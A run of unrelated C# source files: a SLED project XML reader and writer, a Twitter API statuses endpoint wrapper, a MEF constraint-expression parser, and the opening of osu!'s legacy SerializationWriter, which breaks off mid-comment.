/* * Copyright (C) Sony Computer Entertainment America LLC. * All Rights Reserved. */ using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Xml; using System.Xml.Schema; using Sce.Atf; using Sce.Atf.Adaptation; using Sce.Atf.Dom; using Sce.Sled.Shared.Resources; using Sce.Sled.Shared.Utilities; namespace Sce.Sled.Shared.Dom { /// <summary> /// SLED project reader class /// </summary> public sealed class SledSpfReader { /// <summary> /// Constructor /// </summary> /// <param name="typeLoader">Schema loader</param> public SledSpfReader(XmlSchemaTypeLoader typeLoader) { m_typeLoader = typeLoader; } /// <summary> /// Read a node tree from a stream</summary> /// <param name="uri">URI of stream</param> /// <param name="bReadTempSettings">Whether to additionally read from the project temporary settings file</param> /// <returns>Node tree, created from stream</returns> public DomNode Read(Uri uri, bool bReadTempSettings) { DomNode rootProject = null; try { const int attempts = 5; const int waitMs = 1000; // Read project settings file using (var stream = SledUtil.TryOpen( uri.LocalPath, FileMode.Open, FileAccess.Read, FileShare.Read, attempts, waitMs)) { rootProject = ReadInternal(stream); } } catch (Exception ex) { SledOutDevice.OutLine( SledMessageType.Error, "Encountered an error when " + "loading project file! {0}", ex.Message); } if (rootProject == null) return null; // Should we read the project // temporary settings file? if (!bReadTempSettings) return rootProject; // Read from project temporary settings file DomNode rootTemp = null; try { // Path to project file var szAbsProjPath = uri.LocalPath; // Path to hidden project temporary settings file var szAbsTempPath = Path.ChangeExtension(szAbsProjPath, ".sus"); if (!File.Exists(szAbsTempPath)) return rootProject; // Read project temporary settings file using (var stream = new FileStream(szAbsTempPath, FileMode.Open, FileAccess.Read)) { rootTemp = ReadInternal(stream); } } catch (Exception ex) { SledOutDevice.OutLine( SledMessageType.Error, "Encountered an error when loading " + "project temporary settings file! {0}", ex.Message); } // If null then fall back to project file if (rootTemp == null) return rootProject; foreach (var copier in s_lstCopiers) { try { copier.Run(rootProject, rootTemp); } catch (Exception ex) { SledOutDevice.OutLine( SledMessageType.Error, "Encountered an error when syncing " + "user settings file to project file! {0}", ex.Message); } } return rootProject; } private DomNode ReadInternal(Stream stream) { m_root = null; m_nodeDictionary.Clear(); m_nodeReferences.Clear(); var settings = new XmlReaderSettings {IgnoreComments = true, IgnoreProcessingInstructions = true}; //settings.IgnoreWhitespace = true; using (var reader = XmlReader.Create(stream, settings)) { reader.MoveToContent(); var rootElement = CreateRootElement(reader); if (rootElement == null) throw new InvalidOperationException("Unknown root element"); m_root = ReadElement(rootElement, reader); ResolveReferences(); } return m_root; } private ChildInfo CreateRootElement(XmlReader reader) { var ns = reader.NamespaceURI; if (string.IsNullOrEmpty(ns)) { // no xmlns declaration in the file, so grab the first type collection's target namespace foreach (var typeCollection in m_typeLoader.GetTypeCollections()) { ns = typeCollection.DefaultNamespace; break; } } var rootElement = m_typeLoader.GetRootElement(ns + ":" + reader.LocalName); return rootElement; } private DomNode ReadElement(ChildInfo nodeInfo, XmlReader reader) { // handle polymorphism, if necessary var type = GetChildType(nodeInfo.Type, reader); var index = type.Name.LastIndexOf(':'); var typeNs = type.Name.Substring(0, index); var node = new DomNode(type, nodeInfo); // read attributes while (reader.MoveToNextAttribute()) { if (reader.Prefix == string.Empty || reader.LookupNamespace(reader.Prefix) == typeNs) { var attributeInfo = type.GetAttributeInfo(reader.LocalName); if (attributeInfo != null) { var valueString = reader.Value; if (attributeInfo.Type.Type == AttributeTypes.Reference) { // save reference so it can be resolved after all nodes have been read m_nodeReferences.Add(new XmlNodeReference(node, attributeInfo, valueString)); } else { var value = attributeInfo.Type.Convert(valueString); node.SetAttribute(attributeInfo, value); } } } } // add node to map if it has an id if (node.Type.IdAttribute != null) { var id = node.GetId(); if (!string.IsNullOrEmpty(id)) m_nodeDictionary[id] = node; // don't Add, in case there are multiple DomNodes with the same id } reader.MoveToElement(); if (!reader.IsEmptyElement) { // read child elements while (reader.Read()) { if (reader.NodeType == XmlNodeType.Element) { // look up metadata for this element var childInfo = type.GetChildInfo(reader.LocalName); if (childInfo != null) { var childNode = ReadElement(childInfo, reader); if (childNode != null) { // childNode is fully populated sub-tree if (childInfo.IsList) { node.GetChildList(childInfo).Add(childNode); } else { node.SetChild(childInfo, childNode); } } } else { // try reading as an attribute var attributeInfo = type.GetAttributeInfo(reader.LocalName); if (attributeInfo != null) { reader.MoveToElement(); if (!reader.IsEmptyElement) { // read element text while (reader.Read()) { if (reader.NodeType == XmlNodeType.Text) { var value = attributeInfo.Type.Convert(reader.Value); node.SetAttribute(attributeInfo, value); // skip child elements, as this is an attribute value reader.Skip(); break; } if (reader.NodeType == XmlNodeType.EndElement) { break; } } reader.MoveToContent(); } } else { // skip unrecognized element reader.Skip(); // if that takes us to the end of the enclosing element, break if (reader.NodeType == XmlNodeType.EndElement) break; } } } else if (reader.NodeType == XmlNodeType.Text) { var attributeInfo = type.GetAttributeInfo(string.Empty); if (attributeInfo != null) { var value = attributeInfo.Type.Convert(reader.Value); node.SetAttribute(attributeInfo, value); } } else if (reader.NodeType == XmlNodeType.EndElement) { break; } } } reader.MoveToContent(); return node; } private DomNodeType GetDerivedType(string ns, string typeName) { return m_typeLoader.GetNodeType(ns + ":" + typeName); } private void ResolveReferences() { var unresolved = new List<XmlNodeReference>(); foreach (var nodeReference in m_nodeReferences) { DomNode refNode; if (m_nodeDictionary.TryGetValue(nodeReference.Value, out refNode)) { nodeReference.Node.SetAttribute(nodeReference.AttributeInfo, refNode); } else { unresolved.Add(nodeReference); } } m_nodeReferences = unresolved; } private DomNodeType GetChildType(DomNodeType type, XmlReader reader) { var result = type; // check for xsi:type attribute, for polymorphic elements var typeName = reader.GetAttribute("xsi:type"); if (typeName != null) { // check for qualified type name var prefix = string.Empty; var index = typeName.IndexOf(':'); if (index >= 0) { prefix = typeName.Substring(0, index); index++; typeName = typeName.Substring(index, typeName.Length - index); } var ns = reader.LookupNamespace(prefix); result = GetDerivedType(ns, typeName); if (result == null) throw new InvalidOperationException("Unknown derived type"); } return result; } #region Spf Copier Stuff /// <summary> /// ICopier Interface /// </summary> public interface ICopier { /// <summary> /// Run the copier /// </summary> /// <param name="domProjectTree">Tree to copy</param> /// <param name="domTempTree">Copied tree</param> void Run(DomNode domProjectTree, DomNode domTempTree); } /// <summary> /// Copier base class /// </summary> public abstract class CopierBase : ICopier { /// <summary> /// Gather all DomNodes of a specific DomNodeType in a tree /// </summary> /// <param name="tree">DomNode tree whose DomNodes are gathered</param> /// <param name="nodeType">DomNodeType of DomNodes to gather</param> /// <param name="lstNodes">Collection of gathered DomNodes</param> protected static void GatherNodeTypes(DomNode tree, DomNodeType nodeType, ICollection<DomNode> lstNodes) { if (tree.Type == nodeType) lstNodes.Add(tree); foreach (var child in tree.Children) { GatherNodeTypes(child, nodeType, lstNodes); } } /// <summary> /// Run the copier /// </summary> /// <param name="domProjectTree">Tree to copy</param> /// <param name="domTempTree">Copied tree</param> public abstract void Run(DomNode domProjectTree, DomNode domTempTree); } /// <summary> /// DomNodeType synchronization class /// </summary> public class DomNodeTypeSync : CopierBase { /// <summary> /// Sync function delegate /// </summary> /// <param name="domNodeProjTree">Tree to synchronize with</param> /// <param name="domNodeTempTree">Synchronized tree</param> public delegate void SyncFunc(DomNode domNodeProjTree, DomNode domNodeTempTree); /// <summary> /// Sync up elements in the project files tree with their corresponding /// elements in the project temporary settings file tree /// </summary> /// <param name="nodeType">Type of elements to synchronize</param> /// <param name="comparer">Comparer function</param> /// <param name="syncFunc">Synchronizer function</param> public DomNodeTypeSync(DomNodeType nodeType, IEqualityComparer<DomNode> comparer, SyncFunc syncFunc) { m_nodeType = nodeType; m_comparer = comparer; m_syncFunc = syncFunc; } /// <summary> /// Run the copier /// </summary> /// <param name="domProjectTree">Tree to copy</param> /// <param name="domTempTree">Copied tree</param> public override void Run(DomNode domProjectTree, DomNode domTempTree) { var lstProjNodes = new List<DomNode>(); GatherNodeTypes(domProjectTree, m_nodeType, lstProjNodes); var lstTempNodes = new List<DomNode>(); GatherNodeTypes(domTempTree, m_nodeType, lstTempNodes); var lstPairs = (from projNode in lstProjNodes from tempNode in lstTempNodes where m_comparer.Equals(projNode, tempNode) select new Pair<DomNode, DomNode>(projNode, tempNode)).ToList(); if (lstPairs.Count <= 0) return; foreach (var pair in lstPairs) { m_syncFunc(pair.First, pair.Second); } } private readonly DomNodeType m_nodeType; private readonly IEqualityComparer<DomNode> m_comparer; private readonly SyncFunc m_syncFunc; } /// <summary> /// DomNodeType copier class /// </summary> public class DomNodeTypeRootCopier : CopierBase { /// <summary> /// Constructor /// </summary> /// <param name="nodeType">DomNodeType to copy</param> public DomNodeTypeRootCopier(DomNodeType nodeType) { m_nodeType = nodeType; } /// <summary> /// Run the copier /// </summary> /// <param name="domProjectTree">Tree to copy</param> /// <param name="domTempTree">Copied tree</param> public override void Run(DomNode domProjectTree, DomNode domTempTree) { var lstToCopy = new List<DomNode>(); GatherNodeTypes(domTempTree, m_nodeType, lstToCopy); foreach (var domNode in lstToCopy) { var info = domNode.ChildInfo; if (info.IsList) { domProjectTree.GetChildList(info).Add(domNode); } else { domProjectTree.SetChild(info, domNode); } } } private readonly DomNodeType m_nodeType; } #endregion /// <summary> /// Register a copier with the Spf reader /// </summary> /// <param name="copier">ICopier object</param> public static void RegisterCopier(ICopier copier) { s_lstCopiers.Add(copier); } private DomNode m_root; private List<XmlNodeReference> m_nodeReferences = new List<XmlNodeReference>(); private readonly XmlSchemaTypeLoader m_typeLoader; private readonly Dictionary<string, DomNode> m_nodeDictionary = new Dictionary<string, DomNode>(); private static readonly List<ICopier> s_lstCopiers = new List<ICopier>(); } /// <summary> /// SLED project writer class /// </summary> public sealed class SledSpfWriter { /// <summary> /// Constructor /// </summary> /// <param name="typeCollection">Schema type collection</param> public SledSpfWriter(XmlSchemaTypeCollection typeCollection) { m_typeCollection = typeCollection; } /// <summary> /// Gets Schema type collection /// </summary> public XmlSchemaTypeCollection TypeCollection { get { return m_typeCollection; } } /// <summary> /// Write collection to disk /// </summary> /// <param name="root">Root DomNode</param> /// <param name="uri">URI for project settings file</param> /// <param name="bWriteTempSettings">Whether to write project temporary settings file (.sus)</param> public void Write(DomNode root, Uri uri, bool bWriteTempSettings) { try { // Write project settings using (var file = new FileStream(uri.LocalPath, FileMode.Create, FileAccess.Write)) { WriteInternal(root, file); } } catch (Exception ex) { SledOutDevice.OutLine( SledMessageType.Error, "Encountered an error when " + "saving project file! {0}", ex.Message); } if (!bWriteTempSettings) return; try { m_bWritingUserSettings = true; // Path to project file var szAbsProjPath = uri.LocalPath; // Path to hidden project temporary settings file var szAbsTempPath = Path.ChangeExtension(szAbsProjPath, ".sus"); // Make it writable if it exists already if (File.Exists(szAbsTempPath)) File.SetAttributes(szAbsTempPath, FileAttributes.Normal); // Write project temporary settings file using (var file = new FileStream(szAbsTempPath, FileMode.Create, FileAccess.Write)) { WriteInternal(root, file); } // Make it hidden if (File.Exists(szAbsTempPath)) File.SetAttributes(szAbsTempPath, FileAttributes.Hidden); } catch (Exception ex) { SledOutDevice.OutLine( SledMessageType.Error, SledUtil.TransSub(Localization.SledSharedSaveTempSettingsFileError, ex.Message)); } finally { m_bWritingUserSettings = false; } } private void WriteInternal(DomNode root, Stream stream) { try { m_root = root; m_inlinePrefixes.Clear(); var settings = new XmlWriterSettings { Indent = true, IndentChars = "\t", NewLineHandling = NewLineHandling.Replace, NewLineChars = "\r\n" }; using (var writer = XmlWriter.Create(stream, settings)) { writer.WriteStartDocument(); WriteElement(root, writer); writer.WriteEndDocument(); } } finally { m_root = null; m_inlinePrefixes.Clear(); } } private void WriteElement(DomNode node, XmlWriter writer) { // If writing the project settings file... if (!m_bWritingUserSettings) { // Don't save types that are not supposed to be saved if (s_lstExcludeDomNodeTypes.Contains(node.Type)) return; } var elementNs = m_typeCollection.TargetNamespace; var index = node.ChildInfo.Name.LastIndexOf(':'); if (index >= 0) elementNs = node.ChildInfo.Name.Substring(0, index); string elementPrefix; // is this the root DomNode (the one passed Write, above)? if (node == m_root) { elementPrefix = m_typeCollection.GetPrefix(elementNs) ?? GeneratePrefix(elementNs); writer.WriteStartElement(elementPrefix, node.ChildInfo.Name, elementNs); // define the xsi namespace writer.WriteAttributeString("xmlns", "xsi", null, XmlSchema.InstanceNamespace); // define schema namespaces foreach (var name in m_typeCollection.Namespaces) { if (string.Compare(name.Name, elementPrefix) != 0) writer.WriteAttributeString("xmlns", name.Name, null, name.Namespace); } } else { // not the root, so all schema namespaces have been defined elementPrefix = writer.LookupPrefix(elementNs) ?? GeneratePrefix(elementNs); writer.WriteStartElement(elementPrefix, node.ChildInfo.Name, elementNs); } // write type name if this is a polymorphic type var type = node.Type; if (node.ChildInfo.Type != type) { var name = type.Name; index = name.LastIndexOf(':'); if (index >= 0) { var typeName = name.Substring(index + 1, type.Name.Length - index - 1); var typeNs = name.Substring(0, index); var typePrefix = writer.LookupPrefix(typeNs); if (typePrefix == null) { typePrefix = GeneratePrefix(typeNs); writer.WriteAttributeString("xmlns", typePrefix, null, typeNs); } name = typeName; if (typePrefix != string.Empty) name = typePrefix + ":" + typeName; } writer.WriteAttributeString("xsi", "type", XmlSchema.InstanceNamespace, name); } // write attributes AttributeInfo valueAttribute = null; foreach (var attributeInfo in type.Attributes) { // if attribute is required, or not the default, write it if (/*attributeInfo.Required ||*/ !node.IsAttributeDefault(attributeInfo)) { if (attributeInfo.Name == string.Empty) { valueAttribute = attributeInfo; } else { var value = node.GetAttribute(attributeInfo); string valueString = null; if (attributeInfo.Type.Type == AttributeTypes.Reference) { // if reference is a valid node, convert to string var refNode = value as DomNode; if (refNode != null) valueString = GetNodeReferenceString(refNode, m_root); } if (valueString == null) valueString = attributeInfo.Type.Convert(value); var bWriteAttribute = true; if (!m_bWritingUserSettings) bWriteAttribute = !s_lstExcludeAttributes.Contains(attributeInfo.Name); if (bWriteAttribute) writer.WriteAttributeString(attributeInfo.Name, valueString); } } } // write value if not the default if (valueAttribute != null) { var value = node.GetAttribute(valueAttribute); writer.WriteString(valueAttribute.Type.Convert(value)); } // write child elements foreach (var childInfo in type.Children) { if (childInfo.IsList) { foreach (var child in node.GetChildList(childInfo)) WriteElement(child, writer); } else { var child = node.GetChild(childInfo); if (child != null) WriteElement(child, writer); } } writer.WriteEndElement(); } private static string GetNodeReferenceString(DomNode refNode, DomNode root) { var id = refNode.GetId(); // if referenced node is in another resource, prepend URI if (!refNode.IsDescendantOf(root)) { var nodeRoot = refNode.GetRoot(); var resource = nodeRoot.As<IResource>(); if (resource != null) id = resource.Uri.LocalPath + "#" + id; } return id; } private string GeneratePrefix(string ns) { string prefix = null; if (!string.IsNullOrEmpty(ns)) { if (!m_inlinePrefixes.TryGetValue(ns, out prefix)) { var suffix = m_inlinePrefixes.Count; prefix = "_p" + suffix; m_inlinePrefixes.Add(ns, prefix); } } return prefix; } /// <summary> /// Exclude an attribute from being saved to the project settings file /// </summary> /// <param name="attribute">Name of attribute</param> public static void ExcludeAttribute(string attribute) { if (!s_lstExcludeAttributes.Contains(attribute)) s_lstExcludeAttributes.Add(attribute); } /// <summary> /// Exclude a DomNodeType from being saved to the project settings file /// </summary> /// <param name="nodeType">DomNodeType to exclude</param> public static void ExcludeDomNodeType(DomNodeType nodeType) { if (!s_lstExcludeDomNodeTypes.Contains(nodeType)) s_lstExcludeDomNodeTypes.Add(nodeType); } private DomNode m_root; private bool m_bWritingUserSettings; private readonly XmlSchemaTypeCollection m_typeCollection; private readonly Dictionary<string, string> m_inlinePrefixes = new Dictionary<string, string>(); private static readonly List<string> s_lstExcludeAttributes = new List<string>(); private static readonly List<DomNodeType> s_lstExcludeDomNodeTypes = new List<DomNodeType>(); } ///// <summary> ///// SledSpfComparers Class ///// </summary> //public static class SledSpfComparers //{ // /// <summary> // /// Add a comparer to be used when comparing the project settings file to // /// the project temporary settings file // /// </summary> // /// <param name="nodeType">DomNodeType</param> // /// <param name="comparer">Compare to use on matching DomNodeTypes</param> // public static void RegisterComparer(DomNodeType nodeType, IEqualityComparer<DomNode> comparer) // { // if (s_dictComparers.ContainsKey(nodeType)) // return; // s_dictComparers.Add(nodeType, comparer); // } // /// <summary> // /// Comparers // /// </summary> // public static Dictionary<DomNodeType, IEqualityComparer<DomNode>> Comparers // { // get { return s_dictComparers; } // } // private static readonly Dictionary<DomNodeType, IEqualityComparer<DomNode>> s_dictComparers = // new Dictionary<DomNodeType, IEqualityComparer<DomNode>>(); //} }
using System; using System.Collections.Specialized; using System.Net; using Skybrud.Social.Http; using Skybrud.Social.Twitter.OAuth; using Skybrud.Social.Twitter.Options; namespace Skybrud.Social.Twitter.Endpoints.Raw { public class TwitterStatusesRawEndpoint { #region Properties /// <summary> /// Gets a reference to the OAuth 1.0a client. /// </summary> public TwitterOAuthClient Client { get; private set; } #endregion #region Constructors internal TwitterStatusesRawEndpoint(TwitterOAuthClient client) { Client = client; } #endregion #region Member methods /// <summary> /// Gets the raw API response for a status message (tweet) with the specified ID. /// </summary> /// <param name="statusId">The ID of the status message.</param> /// <see> /// <cref>https://dev.twitter.com/docs/api/1.1/get/statuses/show/:id</cref> /// </see> public SocialHttpResponse GetStatusMessage(long statusId) { return GetStatusMessage(new TwitterStatusMessageOptions(statusId)); } /// <summary> /// Gets the raw API response for a status message (tweet) with the specified ID. /// </summary> /// <param name="options">The options used when making the call to the API.</param> /// <see> /// <cref>https://dev.twitter.com/docs/api/1.1/get/statuses/show/:id</cref> /// </see> public SocialHttpResponse GetStatusMessage(TwitterStatusMessageOptions options) { if (options == null) throw new ArgumentNullException("options"); return Client.DoHttpGetRequest("https://api.twitter.com/1.1/statuses/show.json", options); } /// <summary> /// Posts the specified status message. /// </summary> /// <param name="status">The status message to send.</param> public SocialHttpResponse PostStatusMessage(string status) { return PostStatusMessage(new TwitterPostStatusMessageOptions { Status = status }); } /// <summary> /// Posts the specified status message. /// </summary> /// <param name="status">The status message to send.</param> /// <param name="replyTo">The ID of the status message to reply to.</param> public SocialHttpResponse PostStatusMessage(string status, long? replyTo) { return PostStatusMessage(new TwitterPostStatusMessageOptions { Status = status, ReplyTo = replyTo }); } /// <summary> /// Posts the specified status message. /// </summary> /// <param name="options">The options for the call to the API.</param> public SocialHttpResponse PostStatusMessage(TwitterPostStatusMessageOptions options) { if (options == null) throw new ArgumentNullException("options"); return Client.DoHttpPostRequest("https://api.twitter.com/1.1/statuses/update.json", options); } /// <summary> /// Get the raw API response for a user's timeline. /// </summary> /// <param name="userId">The ID of the user.</param> /// <see> /// <cref>https://dev.twitter.com/docs/api/1.1/get/statuses/user_timeline</cref> /// </see> public SocialHttpResponse GetUserTimeline(long userId) { return GetUserTimeline(new TwitterUserTimelineOptions(userId)); } /// <summary> /// Get the raw API response for a user's timeline. /// </summary> /// <param name="userId">The ID of the user.</param> /// <param name="count">The maximum amount of tweets to return.</param> /// <see> /// <cref>https://dev.twitter.com/docs/api/1.1/get/statuses/user_timeline</cref> /// </see> public SocialHttpResponse GetUserTimeline(long userId, int count) { return GetUserTimeline(new TwitterUserTimelineOptions(userId, count)); } /// <summary> /// Get the raw API response for a user's timeline. /// </summary> /// <param name="screenName">The screen name of the user.</param> /// <see> /// <cref>https://dev.twitter.com/docs/api/1.1/get/statuses/user_timeline</cref> /// </see> public SocialHttpResponse GetUserTimeline(string screenName) { return GetUserTimeline(new TwitterUserTimelineOptions(screenName)); } /// <summary> /// Get the raw API response for a user's timeline. /// </summary> /// <param name="screenName">The screen name of the user.</param> /// <param name="count">The maximum amount of tweets to return.</param> /// <see> /// <cref>https://dev.twitter.com/docs/api/1.1/get/statuses/user_timeline</cref> /// </see> public SocialHttpResponse GetUserTimeline(string screenName, int count) { return GetUserTimeline(new TwitterUserTimelineOptions(screenName, count)); } /// <summary> /// Get the raw API response for a user's timeline. /// </summary> /// <param name="options">The options used when making the call to the API.</param> /// <see> /// <cref>https://dev.twitter.com/docs/api/1.1/get/statuses/user_timeline</cref> /// </see> public SocialHttpResponse GetUserTimeline(TwitterUserTimelineOptions options) { if (options == null) throw new ArgumentNullException("options"); return Client.DoHttpGetRequest("https://api.twitter.com/1.1/statuses/user_timeline.json", options); } /// <summary> /// Gets a collection of the most recent tweets and retweets posted by the authenticating /// user and the users they follow. /// </summary> public SocialHttpResponse GetHomeTimeline() { return GetHomeTimeline(new TwitterTimelineOptions()); } /// <summary> /// Gets a collection of the most recent tweets and retweets posted by the authenticating /// user and the users they follow. /// </summary> /// <param name="count">The maximum amount of tweets to return.</param> public SocialHttpResponse GetHomeTimeline(int count) { return GetHomeTimeline(new TwitterTimelineOptions(count)); } /// <summary> /// Gets a collection of the most recent tweets and retweets posted by the authenticating /// user and the users they follow. /// </summary> /// <param name="options">The options for the call.</param> public SocialHttpResponse GetHomeTimeline(TwitterTimelineOptions options) { if (options == null) throw new ArgumentNullException("options"); return Client.DoHttpGetRequest("https://api.twitter.com/1.1/statuses/home_timeline.json", options); } /// <summary> /// Gets the most recent mentions (tweets containing the users's @screen_name) for the authenticating user. /// </summary> public SocialHttpResponse GetMentionsTimeline() { return GetMentionsTimeline(new TwitterTimelineOptions()); } /// <summary> /// Gets the most recent mentions (tweets containing the users's @screen_name) for the authenticating user. /// </summary> /// <param name="count">The maximum amount of tweets to return.</param> public SocialHttpResponse GetMentionsTimeline(int count) { return GetMentionsTimeline(new TwitterTimelineOptions(count)); } /// <summary> /// Gets the most recent mentions (tweets containing the users's @screen_name) for the authenticating user. /// </summary> /// <param name="options">The options for the call.</param> public SocialHttpResponse GetMentionsTimeline(TwitterTimelineOptions options) { if (options == null) throw new ArgumentNullException("options"); return Client.DoHttpGetRequest("https://api.twitter.com/1.1/statuses/mentions_timeline.json", options); } /// <summary> /// Returns the most recent tweets authored by the authenticating user that have been retweeted by others. /// </summary> public SocialHttpResponse GetRetweetsOfMe() { return GetRetweetsOfMe(new TwitterTimelineOptions()); } /// <summary> /// Returns the most recent tweets authored by the authenticating user that have been retweeted by others. /// </summary> /// <param name="count">The maximum amount of tweets to return.</param> public SocialHttpResponse GetRetweetsOfMe(int count) { return GetRetweetsOfMe(new TwitterTimelineOptions(count)); } /// <summary> /// Returns the most recent tweets authored by the authenticating user that have been retweeted by others. /// </summary> /// <param name="options">The options for the call.</param> public SocialHttpResponse GetRetweetsOfMe(TwitterTimelineOptions options) { return Client.DoHttpGetRequest("https://api.twitter.com/1.1/statuses/retweets_of_me.json", options); } /// <summary> /// Retweets the tweet with the specified <code>id</code>. /// </summary> /// <param name="id">The ID of the tweet to be retweeted.</param> /// <returns>Returns the response from the API.</returns> public SocialHttpResponse Retweet(long id) { return Retweet(id, false); } /// <summary> /// Retweets the tweet with the specified <code>id</code>. /// </summary> /// <param name="id">The ID of the tweet to be retweeted.</param> /// <param name="trimUser">When set to <code>true</code>, each tweet returned in a timeline will include a user /// object including only the status authors numerical ID. Omit this parameter to receive the complete user /// object.</param> /// <returns>Returns the response from the API.</returns> public SocialHttpResponse Retweet(long id, bool trimUser) { return Client.DoHttpPostRequest("https://api.twitter.com/1.1/statuses/retweet/" + id + ".json" + (trimUser ? "?trim_user=true" : ""), null); } /// <summary> /// Destroys the status with the specified <code>id</code>. The authenticating user must be the author of the /// specified status. Returns the destroyed status if successful. /// </summary> /// <param name="id">The ID of the tweet to be destroyed.</param> /// <returns>Returns the response from the API.</returns> public SocialHttpResponse DestroyStatusMessage(long id) { return DestroyStatusMessage(id, false); } /// <summary> /// Destroys the status with the specified <code>id</code>. The authenticating user must be the author of the /// specified status. Returns the destroyed status if successful. /// </summary> /// <param name="id">The ID of the tweet to be destroyed.</param> /// <param name="trimUser">When set to <code>true</code>, each tweet returned in a timeline will include a user /// object including only the status authors numerical ID. Omit this parameter to receive the complete user /// object.</param> /// <returns>Returns the response from the API.</returns> public SocialHttpResponse DestroyStatusMessage(long id, bool trimUser) { return Client.DoHttpPostRequest("https://api.twitter.com/1.1/statuses/destroy/" + id + ".json" + (trimUser ? "?trim_user=true" : ""), null); } #endregion } }
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. using System.Collections.Generic; using System.ComponentModel.Composition.Primitives; using System.Linq.Expressions; using System.Reflection; using Microsoft.Internal; using Xunit; namespace System.ComponentModel.Composition { public class ContraintParser { private static readonly PropertyInfo _exportDefinitionContractNameProperty = typeof(ExportDefinition).GetProperty("ContractName"); private static readonly PropertyInfo _exportDefinitionMetadataProperty = typeof(ExportDefinition).GetProperty("Metadata"); private static readonly MethodInfo _metadataContainsKeyMethod = typeof(IDictionary<string, object>).GetMethod("ContainsKey"); private static readonly MethodInfo _metadataItemMethod = typeof(IDictionary<string, object>).GetMethod("get_Item"); private static readonly MethodInfo _typeIsInstanceOfTypeMethod = typeof(Type).GetMethod("IsInstanceOfType"); public static bool TryParseConstraint(Expression<Func<ExportDefinition, bool>> constraint, out string contractName, out IEnumerable<KeyValuePair<string, Type>> requiredMetadata) { contractName = null; requiredMetadata = null; List<KeyValuePair<string, Type>> requiredMetadataList = new List<KeyValuePair<string, Type>>(); foreach (Expression expression in SplitConstraintBody(constraint.Body)) { // First try to parse as a contract, if we don't have one already if (contractName == null && TryParseExpressionAsContractConstraintBody(expression, constraint.Parameters[0], out contractName)) { continue; } // Then try to parse as a required metadata item name string requiredMetadataItemName = null; Type requiredMetadataItemType = null; if (TryParseExpressionAsMetadataConstraintBody(expression, constraint.Parameters[0], out requiredMetadataItemName, out requiredMetadataItemType)) { requiredMetadataList.Add(new KeyValuePair<string, Type>(requiredMetadataItemName, requiredMetadataItemType)); } // Just skip the expressions we don't understand } // ContractName should have been set already, just need to set metadata requiredMetadata = requiredMetadataList; return true; } private static IEnumerable<Expression> SplitConstraintBody(Expression expression) { Assert.NotNull(expression); // The expression we know about should be a set of nested AndAlso's, we // need to flatten them into one list. we do this iteratively, as // recursion will create too much of a memory churn. Stack<Expression> expressions = new Stack<Expression>(); expressions.Push(expression); while (expressions.Count > 0) { Expression current = expressions.Pop(); if (current.NodeType == ExpressionType.AndAlso) { BinaryExpression andAlso = (BinaryExpression)current; // Push right first - this preserves the ordering of the expression, which will force // the contract constraint to come up first as the callers are optimized for this form expressions.Push(andAlso.Right); expressions.Push(andAlso.Left); continue; } yield return current; } } private static bool TryParseExpressionAsContractConstraintBody(Expression expression, Expression parameter, out string contractName) { contractName = null; // The expression should be an '==' expression if (expression.NodeType != ExpressionType.Equal) { return false; } BinaryExpression contractConstraintExpression = (BinaryExpression)expression; // First try item.ContractName == "Value" if (TryParseContractNameFromEqualsExpression(contractConstraintExpression.Left, contractConstraintExpression.Right, parameter, out contractName)) { return true; } // Then try "Value == item.ContractName if (TryParseContractNameFromEqualsExpression(contractConstraintExpression.Right, contractConstraintExpression.Left, parameter, out contractName)) { return true; } return false; } private static bool TryParseContractNameFromEqualsExpression(Expression left, Expression right, Expression parameter, out string contractName) { contractName = null; // The left should be access to property "Contract" applied to the parameter MemberExpression targetMember = left as MemberExpression; if (targetMember == null) { return false; } if ((targetMember.Member != _exportDefinitionContractNameProperty) || (targetMember.Expression != parameter)) { return false; } // Right should a constant expression containing the contract name ConstantExpression contractNameConstant = right as ConstantExpression; if (contractNameConstant == null) { return false; } if (!TryParseConstant<string>(contractNameConstant, out contractName)) { return false; } return true; } private static bool TryParseExpressionAsMetadataConstraintBody(Expression expression, Expression parameter, out string requiredMetadataKey, out Type requiredMetadataType) { Assumes.NotNull(expression, parameter); requiredMetadataKey = null; requiredMetadataType = null; // Should be a call to Type.IsInstanceofType on definition.Metadata[key] MethodCallExpression outerMethodCall = expression as MethodCallExpression; if (outerMethodCall == null) { return false; } // Make sure that the right method ie being called if (outerMethodCall.Method != _typeIsInstanceOfTypeMethod) { return false; } Assumes.IsTrue(outerMethodCall.Arguments.Count == 1); // 'this' should be a constant expression pointing at a Type object ConstantExpression targetType = outerMethodCall.Object as ConstantExpression; if (!TryParseConstant<Type>(targetType, out requiredMetadataType)) { return false; } // SHould be a call to get_Item MethodCallExpression methodCall = outerMethodCall.Arguments[0] as MethodCallExpression; if (methodCall == null) { return false; } if (methodCall.Method != _metadataItemMethod) { return false; } // Make sure the method is being called on the right object MemberExpression targetMember = methodCall.Object as MemberExpression; if (targetMember == null) { return false; } if ((targetMember.Expression != parameter) || (targetMember.Member != _exportDefinitionMetadataProperty)) { return false; } // There should only ever be one argument; otherwise, // we've got the wrong IDictionary.get_Item method. Assumes.IsTrue(methodCall.Arguments.Count == 1); // Argument should a constant expression containing the metadata key ConstantExpression requiredMetadataKeyConstant = methodCall.Arguments[0] as ConstantExpression; if (requiredMetadataKeyConstant == null) { return false; } if (!TryParseConstant<string>(requiredMetadataKeyConstant, out requiredMetadataKey)) { return false; } return true; } private static bool TryParseConstant<T>(ConstantExpression constant, out T result) where T : class { Assumes.NotNull(constant); if (constant.Type == typeof(T) && constant.Value != null) { result = (T)constant.Value; return true; } result = default(T); return false; } } }
// Copyright (c) ppy Pty Ltd <contact@ppy.sh>. Licensed under the MIT Licence. // See the LICENCE file in the repository root for full licence text. using System; using System.Collections.Generic; using System.IO; using System.Runtime.Serialization; using System.Runtime.Serialization.Formatters; using System.Runtime.Serialization.Formatters.Binary; using System.Text; // ReSharper disable ConditionIsAlwaysTrueOrFalse (we're allowing nulls to be passed to the writer where the underlying class doesn't). // ReSharper disable HeuristicUnreachableCode namespace osu.Game.IO.Legacy { /// <summary> SerializationWriter. Extends BinaryWriter to add additional data types, /// handle null strings and simplify use with ISerializable. </summary> public class SerializationWriter : BinaryWriter { public SerializationWriter(Stream s) : base(s, Encoding.UTF8) { } /// <summary> Static method to initialise the writer with a suitable MemoryStream. </summary> public static SerializationWriter GetWriter() { MemoryStream ms = new MemoryStream(1024); return new SerializationWriter(ms); } /// <summary> Writes a string to the buffer. Overrides the base implementation so it can cope with nulls 